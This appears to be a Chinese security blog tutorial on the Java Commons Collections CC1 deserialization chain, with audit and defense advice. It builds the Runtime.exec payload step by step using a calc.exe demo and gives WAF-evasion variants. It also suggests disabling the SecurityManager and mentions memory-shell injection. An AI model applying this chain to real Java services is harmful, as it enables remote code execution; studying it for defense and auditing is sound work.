1. 项目概述
在Java安全领域,反序列化漏洞一直是攻防对抗的核心战场。CC1(Commons Collections 1)链作为最经典的Java反序列化利用链之一,其核心在于利用TransformedMap的自动转换机制实现任意代码执行。本文将从一个实战逆向分析师的视角,带你完整还原从漏洞原理分析到Payload构造的全过程。
不同于正向分析的教科书式讲解,我将采用"反向调试"的独特思路——先观察攻击效果,再逆向追踪执行路径,最后定位关键触发点。这种从结果倒推原因的分析方法,能帮助开发者建立更直观的漏洞认知模型。我们不仅会剖析TransformedMap的装饰器模式实现,还会手把手教你如何构造绕过WAF的变形Payload。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 核心原理拆解
2.1 TransformedMap的装饰器模式
TransformedMap是Apache Commons Collections库中一个典型的装饰器实现。其核心原理是通过decorate()方法对原始Map进行包装:
java复制public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
关键点在于两个Transformer参数:
- keyTransformer:对Map键进行转换
- valueTransformer:对Map值进行转换
当调用put()或putAll()方法时,会自动触发transform方法:
java复制protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}
2.2 危险Transformer链
漏洞的核心在于ChainedTransformer这个危险类。它允许将多个Transformer串联执行:
java复制Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", ...),
new InvokerTransformer("invoke", ...),
new InvokerTransformer("exec", ...)
};
Transformer chain = new ChainedTransformer(transformers);
当这个Transformer链被设置为TransformedMap的valueTransformer时,任何对Map的修改操作都会触发命令执行。
关键技巧:在反向调试时,可以在InvokerTransformer.transform()方法设断点,观察调用栈回溯整个触发链条。
3. 反向调试实战
3.1 环境准备
调试环境配置:
- JDK 8u66(漏洞存在版本)
- Commons Collections 3.2.1
- IDEA + Debug模式
- 添加以下VM参数确保能调试到核心逻辑:
code复制-Dsun.io.serialization.extendedDebugInfo=true -Dcom.sun.xml.internal.bind.v2.bytecode.ClassTailor.noOptimize=true
3.2 调试步骤
-
先构造一个简单的Payload并触发异常:
java复制Map innerMap = new HashMap(); innerMap.put("key", "value"); Map outerMap = TransformedMap.decorate(innerMap, null, chain); outerMap.put("test", "test"); -
在抛出异常的栈帧中,查看
AnnotationInvocationHandler.readObject()的调用栈 -
关键断点设置位置:
AnnotationInvocationHandler.invoke()TransformedMap.checkSetValue()ChainedTransformer.transform()
-
通过栈帧回溯,可以清晰看到从反序列化到命令执行的完整调用链:
code复制readObject → memberValues.entrySet() → AbstractInputCheckedMapDecorator.setValue → TransformedMap.checkSetValue → ChainedTransformer.transform → Runtime.exec
3.3 调用链可视化
| 执行阶段 | 关键类 | 触发方法 | 所需条件 |
|---|---|---|---|
| 反序列化入口 | AnnotationInvocationHandler | readObject | 必须实现Serializable |
| Map操作触发 | TransformedMap | checkSetValue | valueTransformer非空 |
| 命令执行 | ChainedTransformer | transform | 包含InvokerTransformer |
4. Payload构造艺术
4.1 基础Payload构造
标准CC1链构造流程:
-
创建Transformer链:
java复制Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; -
包装TransformedMap:
java复制Map innerMap = new HashMap(); innerMap.put("key", "value"); Map outerMap = TransformedMap.decorate(innerMap, null, chain); -
通过AnnotationInvocationHandler触发:
java复制Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler") .getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, outerMap);
4.2 绕过WAF的变形技巧
技巧1:反射修改Transformer数组
java复制Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chain, transformers);
技巧2:使用LazyMap替代
java复制Map lazyMap = LazyMap.decorate(innerMap, chain);
技巧3:嵌套多层Transformer
java复制Transformer nestedChain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(1),
new ChainedTransformer(realTransformers)
});
5. 防御与检测方案
5.1 安全防护措施
- 升级Commons Collections到安全版本(≥3.2.2)
- 使用SerialKiller等防护库
- JVM级别防护:
bash复制-Dorg.apache.commons.collections.enableUnsafeSerialization=false
5.2 代码审计要点
审计时重点关注:
- 所有
ObjectInputStream的使用点 - 检查
InvokerTransformer、InstantiateTransformer等危险类 - 查找
TransformedMap.decorate()调用
典型危险代码模式:
java复制// 反模式1:直接使用默认反序列化
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.readObject();
// 反模式2:使用危险Transformer
Transformer transformer = new InvokerTransformer("exec", ...);
6. 实战中的坑与解决
6.1 常见问题排查
-
ClassNotFound异常:
- 原因:AnnotationInvocationHandler是sun包内部类
- 解决:使用反射获取构造函数
-
Payload不触发:
- 检查项:
- JDK版本是否≤8u71
- Commons Collections版本是否为3.2.1
- Map是否经过TransformedMap.decorate包装
- 检查项:
-
SecurityManager拦截:
java复制System.setSecurityManager(null);
6.2 性能优化技巧
-
缓存Transformer实例:
java复制private static final Transformer[] CACHED_TRANSFORMERS = {...}; -
使用ASM动态生成字节码替代反射:
java复制ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES); cw.visitMethod(ACC_PUBLIC, "transform", "..."); -
压缩Payload体积:
java复制GZIPOutputStream gzip = new GZIPOutputStream(out); gzip.write(serializedPayload);
7. 延伸思考
在实际审计过程中,我发现很多开发者会忽略装饰器模式带来的安全风险。TransformedMap本身作为工具类没有错,问题出在如何控制Transformer的执行权限。这里分享几个深度防御思路:
- 采用白名单机制限制可用的Transformer类型
- 对Transformer实现沙盒环境隔离
- 重写TransformedMap,增加transform前的参数校验
一个有趣的变形是利用PrototypeCloneFactory配合TransformedMap实现内存马注入,这种组合技在实战中往往能绕过常规防护。具体实现需要注意clone对象的深拷贝问题,建议配合SerializationUtils.clone()使用。
